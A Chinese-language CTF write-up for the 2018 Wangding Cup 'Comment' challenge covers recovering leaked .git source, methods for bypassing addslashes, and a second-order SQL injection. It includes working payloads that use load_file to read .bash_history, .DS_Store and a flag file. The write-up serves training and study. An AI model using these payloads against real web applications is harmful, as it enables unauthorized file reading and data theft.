[网鼎杯 2018]Comment

[网鼎杯 2018]Comment

又遇到了一道有意思的题目,还是比较综合的,考的跟之前有一道很相像,用的还是二次注入。 

因为找不到登陆点的sql注入,所以扫了一下源码,发现是存在git泄露的。

[21:03:10] Starting:
[21:03:10] 301 -  388B  - /.git  ->  http://72f9009e-83ae-410a-8849-6cf1c2f44fe2.node3.buuoj.cn/.git/
[21:03:10] 200 -   23B  - /.git/HEAD
[21:03:10] 200 -  145B  - /.git/index
[21:03:10] 200 -   92B  - /.git/config
[21:03:10] 200 -   73B  - /.git/description
[21:03:12] 403 -  323B  - /.git/
[21:03:13] 200 -    7KB - /index.php
[21:03:13] 200 -    2KB - /login.php
[21:03:20] 429 -  568B  - /phpmyadmin/
[21:03:20] 429 -  568B  - /phpMyAdmin/

到kali下面利用githack找一下git文件python GitHacker.py http://72f9009e-83ae-410a-8849-6cf1c2f44fe2.node3.buuoj.cn/.git
cat一下发现源代码是不全的,所以接下来应该修复一手:
到生成文件的目录:git log --relog
得到继续:git reset --hard e5b2a2443c2b6d395d06960123142bc91123148c
这样我们就得到了如下代码:

0){
    $category = mysql_fetch_array($result)['category'];
    $content = addslashes($_POST['content']);
    $sql = "insert into comment
            set category = '$category',
                content = '$content',
                bo_id = '$bo_id'";
    $result = mysql_query($sql);
    }
    header("Location: ./comment.php?id=$bo_id");
    break;
default:
    header("Location: ./index.php");
}
}
else{
    header("Location: ./index.php");
}
?>

到了登陆界面,其实刚开始没理解,直接就照着提示把三个*全都打进去了,结果发现是要替换的,直接burp跑一波就ok了。
此时就是看着源码进行sql注入了,他是加了一个addslashes进行过滤准备的,但是有的时候addslash也是一个能造成漏洞的点。

$sql = "insert into comment
        set category = '$category',
            content = '$content',
            bo_id = '$bo_id'";  

addslash:

gbk导致宽字节注入
使用icon,mb_convert_encoding转换字符编码函数导致宽字节注入
url解码导致绕过addslashes
base64解码导致绕过addslashes
json编码导致绕过addslashes
没有使用引号保护字符串,直接无视addslashes
stripslashes(去掉了\)
字符替换导致的绕过addslashes  

这里分成了两个功能模块,一个是发帖,另一个是评论,两个功能。
两个地方都利用到了addslash进行转义,但是都仅仅对于输入进行转义,对于输出没有进行转义,这就有可能造成二次注入,在mysql中,addslash添加的反斜杠是能够起作用的,即\'在表里面value值就是'的意义,那么我们拿出来的时候就可以进行闭合了。
同时闭合了单引号之后我们还需要,注释,因为#号只能适用于单行的注释,对于多行的注释我们使用/**/从而进行拼接的注释,所以在我们注册完成后,我们在comment处这么写*/#那么拼接起来就是:

insert into comment
       set category = ' ',content=user(),/*',
           content = '*/#',
           bo_id = '$bo_id'";

完成了二次注入。
之后我们利用文件的读取,load_file函数.
payload:',content=(select(load_file("/home/www/.bash_history"))),/*
output:
cd /tmp/ unzip html.zip rm -f html.zip cp -r html /var/www/ cd /var/www/html/ rm -f .DS_Store service apache2 start
这里的具体步骤是:

切换到/tmp目录下解压html压缩包
​删除压缩包,
将html复制到var/www/目录下,
切换到/var/www/html目录,
删除.Ds_Store.
启动apache服务
但是这里我们发现一个问题,他没有删除/tmp/html目录下的.Ds_Store文件,所以我们可以尝试i读取,(信息泄露)
123',content=(select load_file('/tmp/html/.Ds_Store')),/*

无显示,用hex编码显示

',content=(select hex(load_file("/tmp/html/.DS_Store"))),/* 得到:flag_8946e1ff1ee3e40f.php文件

',content=(select hex(load_file("/tmp/html/flag_8946e1ff1ee3e40f.php"))),/*

得到:

3C3F7068700A24666C6167203D2027666C61677B66396361316136622D396437382D313165382D393061332D6334623330316237623939627D273B0A3F3E0A

解码发现不对:

',content=(select hex(load_file("/var/www/html/flag_8946e1ff1ee3e40f.php"))),/*

再次读取:

',content=(select hex(load_file("/var/www/html/flag_8946e1ff1ee3e40f.php"))),/*

你可能感兴趣的:([网鼎杯 2018]Comment)